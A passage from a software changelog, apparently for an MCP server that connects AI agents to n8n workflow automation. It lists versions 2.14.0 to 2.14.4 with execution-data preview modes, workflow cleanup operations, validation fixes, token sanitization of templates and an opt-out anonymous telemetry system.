5826 | - Validation for `itemsLimit` (capped at 1000, negative values default to 2)
5827 | - Error message extraction helper for consistent error handling
5828 | - Constants-based thresholds for easy tuning (20/50/100KB limits)
5829 | - 33 comprehensive unit tests with 78% coverage
5830 | - Null-safe data access throughout
5831 |
5832 | ### Performance
5833 | - Preview mode: <50ms (no data, just structure)
5834 | - Summary mode: <200ms (2 items per node)
5835 | - Filtered mode: 50-500ms (depends on filters)
5836 | - Size estimation within 10-20% accuracy
5837 |
5838 | ### Impact
5839 | - Solves token limit issues when inspecting large workflow executions
5840 | - Enables AI agents to understand execution data without overwhelming responses
5841 | - Reduces token usage by 80-95% for large datasets (50+ items)
5842 | - Maintains 100% backward compatibility with existing integrations
5843 | - Recommended workflow: preview → recommendation → filtered/summary
5844 |
5845 | ### Fixed
5846 | - Preview mode bug: Fixed API data fetching logic to ensure preview mode retrieves execution data for structure analysis and recommendation generation
5847 | - Changed `fetchFullData` condition in handlers-n8n-manager.ts to include preview mode
5848 | - Preview mode now correctly returns structure, item counts, and size estimates
5849 | - Recommendations are now accurate and prevent token overflow issues
5850 |
5851 | ### Migration Guide
5852 | - **No breaking changes**: Existing `n8n_get_execution` calls work unchanged
5853 | - New recommended workflow:
5854 | 1. Call with `mode: 'preview'` to assess data size
5855 | 2. Follow `recommendation.suggestedMode` from preview
5856 | 3. Use `mode: 'filtered'` with `itemsLimit` for precise control
5857 | - Legacy `includeData: true` now maps to `mode: 'summary'` (safer default)
5858 |
5859 | ## [2.14.4] - 2025-09-30
5860 |
5861 | ### Added
5862 | - **Workflow Cleanup Operations**: Two new operations for `n8n_update_partial_workflow`
5863 | - `cleanStaleConnections`: Automatically removes connections referencing non-existent nodes
5864 | - `replaceConnections`: Replace entire connections object in a single operation
5865 | - **Graceful Error Handling**: Enhanced `removeConnection` with `ignoreErrors` flag
5866 | - **Best-Effort Mode**: New `continueOnError` mode for `WorkflowDiffRequest`
5867 | - Apply valid operations even if some fail
5868 | - Returns detailed results with `applied` and `failed` operation indices
5869 | - Maintains atomic mode as default for safety
5870 |
5871 | ### Enhanced
5872 | - Tool documentation for workflow cleanup scenarios
5873 | - Type system with new operation interfaces
5874 | - 15 new tests covering all new features
5875 |
5876 | ### Impact
5877 | - Reduces broken workflow fix time from 10-15 minutes to 30 seconds
5878 | - Token efficiency: `cleanStaleConnections` is 1 operation vs 10+ manual operations
5879 | - 100% backwards compatibility maintained
5880 |
5881 | ## [2.14.3] - 2025-09-30
5882 |
5883 | ### Added
5884 | - Incremental template updates with `npm run fetch:templates:update`
5885 | - Smart filtering for new templates (5-10 min vs 30-40 min full rebuild)
5886 | - 48 new templates (2,598 → 2,646 total)
5887 |
5888 | ### Fixed
5889 | - Template metadata generation: Updated to `gpt-4o-mini-2025-08-07` model
5890 | - Removed unsupported `temperature` parameter from OpenAI Batch API
5891 | - Template sanitization: Added Airtable PAT and GitHub token detection
5892 | - Sanitized 24 templates removing API tokens
5893 |
5894 | ### Updated
5895 | - n8n: 1.112.3 → 1.113.3
5896 | - n8n-core: 1.111.0 → 1.112.1
5897 | - n8n-workflow: 1.109.0 → 1.110.0
5898 | - @n8n/n8n-nodes-langchain: 1.111.1 → 1.112.2
5899 | - Node database rebuilt with 536 nodes from n8n v1.113.3
5900 |
5901 | ## [2.14.2] - 2025-09-29
5902 |
5903 | ### Fixed
5904 | - Validation false positives for Google Drive nodes with 'fileFolder' resource
5905 | - Added node type normalization to handle both `n8n-nodes-base.` and `nodes-base.` prefixes correctly
5906 | - Fixed resource validation to properly recognize all valid resource types
5907 | - Default operations are now properly applied when not specified
5908 | - Property visibility is now correctly checked with defaults applied
5909 | - Code node validation incorrectly flagging valid n8n expressions as syntax errors
5910 | - Removed overly aggressive regex pattern `/\)\s*\)\s*{/` that flagged valid expressions
5911 | - Valid patterns like `$('NodeName').first().json` are now correctly recognized
5912 | - Function chaining and method chaining no longer trigger false positives
5913 | - Enhanced error handling in repository methods based on code review feedback
5914 | - Added try-catch blocks to `getNodePropertyDefaults` and `getDefaultOperationForResource`
5915 | - Validates data structures before accessing to prevent crashes with malformed node data
5916 | - Returns safe defaults on errors to ensure validation continues
5917 |
5918 | ### Added
5919 | - Comprehensive test coverage for validation fixes in `tests/unit/services/validation-fixes.test.ts`
5920 | - New repository methods for better default value handling:
5921 | - `getNodePropertyDefaults()` - retrieves default values for node properties
5922 | - `getDefaultOperationForResource()` - gets default operation for a specific resource
5923 |
5924 | ### Changed
5925 | - Enhanced `filterPropertiesByMode` to return both filtered properties and config with defaults applied
5926 | - Improved node type validation to accept both valid prefix formats
5927 |
5928 | ## [2.14.1] - 2025-09-26
5929 |
5930 | ### Changed
5931 | - **BREAKING**: Refactored telemetry system with major architectural improvements
5932 | - Split 636-line TelemetryManager into 7 focused modules (event-tracker, batch-processor, event-validator, rate-limiter, circuit-breaker, workflow-sanitizer, config-manager)
5933 | - Changed TelemetryManager constructor to private, use `getInstance()` method now
5934 | - Implemented lazy initialization pattern to avoid early singleton creation
5935 |
5936 | ### Added
5937 | - Security & Privacy enhancements for telemetry:
5938 | - Comprehensive input validation with Zod schemas
5939 | - Enhanced sanitization of sensitive data (URLs, API keys, emails)
5940 | - Expanded sensitive key detection patterns (25+ patterns)
5941 | - Row Level Security on Supabase backend
5942 | - Data deletion contact info ([email protected])
5943 | - Performance & Reliability improvements:
5944 | - Sliding window rate limiter (100 events/minute)
5945 | - Circuit breaker pattern for network failures
5946 | - Dead letter queue for failed events
5947 | - Exponential backoff with jitter for retries
5948 | - Performance monitoring with overhead tracking (<5%)
5949 | - Memory-safe array limits in rate limiter
5950 | - Comprehensive test coverage enhancements:
5951 | - Added 662 lines of new telemetry tests
5952 | - Enhanced config-manager tests with 17 new edge cases
5953 | - Enhanced workflow-sanitizer tests with 19 new edge cases
5954 | - Improved coverage from 63% to 91% for telemetry module
5955 | - Branch coverage improved from 69% to 87%
5956 |
5957 | ### Fixed
5958 | - TypeScript lint errors in telemetry test files
5959 | - Corrected variable name conflicts in integration tests
5960 | - Fixed process.exit mock implementation in batch-processor tests
5961 | - Fixed tuple type annotations for workflow node positions
5962 | - Resolved MockInstance type import issues
5963 | - Test failures in CI pipeline
5964 | - Fixed test timeouts caused by improper fake timer usage
5965 | - Resolved Timer.unref() compatibility issues
5966 | - Fixed event validator filtering standalone 'key' property
5967 | - Corrected batch processor circuit breaker behavior
5968 | - TypeScript error in telemetry test preventing CI build
5969 | - Added @supabase/supabase-js to Docker builder stage and runtime dependencies
5970 |
5971 | ## [2.14.0] - 2025-09-26
5972 |
5973 | ### Added
5974 | - Anonymous telemetry system with Supabase integration to understand usage patterns
5975 | - Tracks active users with deterministic anonymous IDs
5976 | - Records MCP tool usage frequency and error rates
5977 | - Captures sanitized workflow structures on successful validation
5978 | - Monitors common error patterns for improvement insights
5979 | - Zero-configuration design with opt-out support via N8N_MCP_TELEMETRY_DISABLED environment variable
5980 |
5981 | - Enhanced telemetry tracking methods:
5982 | - `trackSearchQuery` - Records search patterns and result counts
5983 | - `trackValidationDetails` - Captures validation errors and warnings
5984 | - `trackToolSequence` - Tracks AI agent tool usage sequences
5985 | - `trackNodeConfiguration` - Records common node configuration patterns
5986 | - `trackPerformanceMetric` - Monitors operation performance
5987 |
5988 | - Privacy-focused workflow sanitization:
5989 | - Removes all sensitive data (URLs, API keys, credentials)
5990 | - Generates workflow hashes for deduplication
5991 | - Preserves only structural information
5992 |
5993 | - Comprehensive test coverage for telemetry components (91%+ coverage)
5994 |
5995 | ### Fixed
5996 | - Fixed TypeErrors in `get_node_info`, `get_node_essentials`, and `get_node_documentation` tools that were affecting 50% of calls
5997 | - Added null safety checks for undefined node properties
5998 | - Fixed multi-process telemetry issues with immediate flush strategy
5999 | - Resolved RLS policy and permission issues with Supabase
6000 |
6001 | ### Changed
6002 | - Updated Docker configuration to include Supabase client for telemetry support
6003 | - Enhanced workflow validation tools to track validated workflows
6004 | - Improved error handling with proper null coalescing operators
6005 |
6006 | ### Documentation
6007 | - Added PRIVACY.md with comprehensive privacy policy
6008 | - Added telemetry configuration instructions to README
6009 | - Updated CLAUDE.md with telemetry system architecture
6010 |
6011 | ## Previous Versions
6012 |
6013 | For changes in previous versions, please refer to the git history and release notes.
```